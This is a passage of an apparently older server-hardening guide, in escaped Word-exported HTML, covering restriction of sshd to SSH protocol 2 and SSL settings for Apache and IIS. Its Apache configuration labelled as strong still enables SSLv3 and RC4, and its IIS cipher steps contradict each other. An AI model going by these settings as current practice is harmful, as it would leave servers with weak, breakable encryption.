&lt;/span&gt;&lt;/b&gt;&lt;!--[endif]--&gt;&lt;b&gt;cd /config/ssh&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;iv.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Use a text editor to edit the&amp;nbsp;&lt;b&gt;sshd_config&lt;/b&gt;&amp;nbsp;file.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;v.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Edit the Protocol entry used to configure the SSH versions supported by&amp;nbsp;&lt;b&gt;sshd&lt;/b&gt;&amp;nbsp;daemon by replacing&amp;nbsp;&lt;b&gt;#Protocol 2,1&lt;/b&gt;with&amp;nbsp;&lt;b&gt;Protocol 2&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;vi.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Save the&amp;nbsp;&lt;b&gt;sshd_config&lt;/b&gt;&amp;nbsp;file.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;vii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Restart&amp;nbsp;&lt;b&gt;sshd&lt;/b&gt;&amp;nbsp;by typing the following command:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;b&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;viii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;!--[endif]--&gt;&lt;b&gt;bigstart restart sshd&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoListParagraph" style="mso-list: l0 level1 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;2.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;&lt;span class="Heading2Char"&gt;&lt;span style="font-size: 13.0pt; line-height: 115%;"&gt;Enforce Strong SSL Encryption&lt;/span&gt;&lt;/span&gt;. There is a little more to this step than the previous one. Enforcing strong Cryptographic standards in general is extremely important. Right now we’re just going to talk about how to enforce proper usage of SSL on IIS and apache web servers.&lt;/span&gt;&lt;/div&gt;&lt;h2 style="margin-left: 1.0in; mso-list: l0 level2 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;a.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Apache 2.x&lt;/span&gt;&lt;/h2&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;i.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Disable SSL 2.0 support&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Disable weak ciphers&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;iii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Disable MD5 Hashing for MAC&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;iv.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Disable Null Authentication&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l0 level3 lfo1; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;v.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;To accomplish this include the following lines in the httpd.conf file:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l1 level3 lfo2; text-indent: -9.0pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;SSLProtocol –ALL +SSLv3 +TLSv1&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l1 level3 lfo2; text-indent: -9.0pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;SSLCipherSuite &amp;nbsp;ALL:!aNULL:!ADH:!eNULL:!LOW:!MD5:!EXP:RC4+RSA:+HIGH:+MEDIUM&lt;/span&gt;&lt;/div&gt;&lt;h2 style="margin-left: 1.0in; mso-list: l0 level2 lfo1; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;b.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Windows/IIS&lt;/span&gt;&lt;/h2&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l2 level3 lfo3; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;i.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Enforce the use of SSL 3.0 and TLS by disabling support for PCT 1.0 and SSL 2.0&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;1.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Find &lt;i&gt;HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders \SCHANNEL\Protocols\PCT 1.0\Server &lt;/i&gt;in the registry&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;2.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Add a new DWORD called ‘Enabled’ and set this to 0x00000000&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;3.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Find &lt;i&gt;HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders \SCHANNEL\Protocols\SSL 2.0\Server&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;4.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Add a new DWORD called ‘Enabled’ and set this to 0x00000000&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 2.5in; mso-add-space: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; mso-list: l2 level3 lfo3; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Disable all weak(less than 128-bit) ciphers&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;1.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Add a DWORD value called “Enabled”, set to 0x000000 to the following keys:&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;2.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\RC4 128/128 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;3.&lt;span style="font: 7.0pt &amp;quot;Times New 